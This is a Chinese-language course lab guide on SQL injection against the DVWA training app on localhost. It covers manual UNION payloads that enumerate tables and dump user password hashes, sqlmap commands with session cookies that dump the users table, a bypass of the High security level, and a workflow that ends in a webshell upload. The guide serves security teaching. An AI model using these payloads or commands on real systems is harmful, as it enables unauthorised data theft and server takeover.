SQL 注入常规利用思路：

1、寻找注入点，可以通过 web 扫描工具实现 2、通过注入点，尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。 3、猜解关键数据库表及其重要字段与内容（常见如存放管理员账户的表名、字段名等信息） 4、可以通过获得的用户信息，寻找后台登录。 5、利用后台或了解的进一步信息，上传 webshell 或向数据库写入一句话木马，以进一步提权，直到拿到服务器权限。

手工注入常规思路：

1.判断是否存在注入，注入是字符型还是数字型 2.猜解 SQL 查询语句中的字段数

3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.查询到账户的数据

任务一：实现 SQL 手工注入攻击（有回显）

(1) 简单 ID 查询的正常功能体验：输入正确的 User ID（例如 1，2，3...），点击 Submit，将显示 ID First name，Surname 信息。
如果 User ID 输入的数值超出数据库里的内容，将显示无相应的数据。

(2) 遍历数据库表，输入：1' or' 1' =' 1，遍历出了数据库中所有内容。

(3) 获取数据库名称、账户名、版本及操作系统信息。通过使用 user()，database()，version()三个内置函数得到连接数据库的账户名、数据库名称、数据库版本信息。通过注入 1' and 1=2 union select user(),database() -- (注意--后有空格)。
得到数据库用户为 root@localhost 及数据库名 dvwa

(4) 猜测表名，注入：
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
得到表名为：guestbook,users
注：union 查询结合了两个 select 查询结果，根据上面的 order by 语句我们知道查询包含两列，为了能够现实两列查询结果，我们需要用 union 查询结合我们构造的另外一个 select.注意在使用 union 查询的时候需要和主查询的列数相同。

(5) 猜列名，注入：
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
得到列：user_id, first_name, last_name, user, password, avatar, last_login, failed_login, id, username,password

(6) 猜用户密码，注入：
1' union select null,concat_ws(char(32,58,32),user,password) from users #
得到用户信息，例如 admin 数据，下面的字符串是哈希值
admin 5f4dcc3b5aa765d61d8327deb882cf99

char(32)代表一个空格" "，char(58)代表一个冒号":"

任务二：使用 SQLMap 实现 SQL 自动注入

(1) 安装 SQLMap 工具。只需要将下载的 SQLmap 解压，在 SQLMap 目录里面，使用 python sqlmap.py 执行即可

(2) 在 DVWA 中找到 SQL 注入点的 URL

(3) 在 SQLMap 目录下，使用如下命令，观察结果

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id =1&submit=sublit#"

IP 地址 127.0.0.1 替换为你的 DVWA 地址（后面同样处理）

(4) 会发现有一个 302 跳转，跳转到的是登录页面，所以这个时候需要使用 cookie 进行会话维持， 可以使用 Cookie Editor、Burpsuite、F12 查看浏览器等多种方法查到当前会话的 Cookie

(5) 重新使用 SQLMap 尝试以下命令，接下来系统会有一些提示选择 yes 或 no，一般选择默认值即可（大写的那个是默认的），系统发现参数‘id’是可以注入的，如图所示

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=f2m0g60je1gp3c0eh3o515util"

(6) 然后进行数据库查询处理：python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID= f2m0g60je1gp3c0eh3o515util " –dbs

(7) 列出数据库表：

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities /sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID= f2m0g60je1gp3c0eh3o515util " --tables –D dvwa

-D 选项是选择数据库为 dvwa

(8) 列出 users 表的所有字段, - columns -T “users”<列出 mysql 数据库中的 user 表的所有字段> （columns 参数前带空格）

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities /sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID= f2m0g60je1gp3c0eh3o515util " --columns –T “users”

(9) 使用--dump 把 user 表中的数据全部拖下来。下载过程中可以单独存为文件，也可以使用 SQLMap 自带功能对 Hash 表进行破解。找到 SQLMap 保存下来的文件，并打开查看

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities /sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID= f2m0g60je1gp3c0eh3o515util " –T “users” –dump

任务三：完成 DVWA 中 SQL 注入攻击通关过程（课后选做内容）

High 级别的查询提交页面与查询结果显示页面不是同一个，也没有执行 302 跳转，这样做的目的是为了防止常规的 sqlmap 扫描注入测试，因为 sqlmap 在注入过程中，无法在查询提交页面上获取查询的结果，没有了反馈，也就没办法进一步注入；但是并不代表 High 级别不能用 sqlmap 进行注入测试，此时需要利用其非常规的命令联合操作，如：- second-order=“xxxurl”（设置二阶响应的结果显示页面的 url）

Python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=omk12q5t1kscfros68f93h1g9i" –T “users” –dump

查询网站为 http://dvwa/vulnerabilities/sqli/session-input.php

回显网站为 http://dvwa/vulnerabilities/sqli/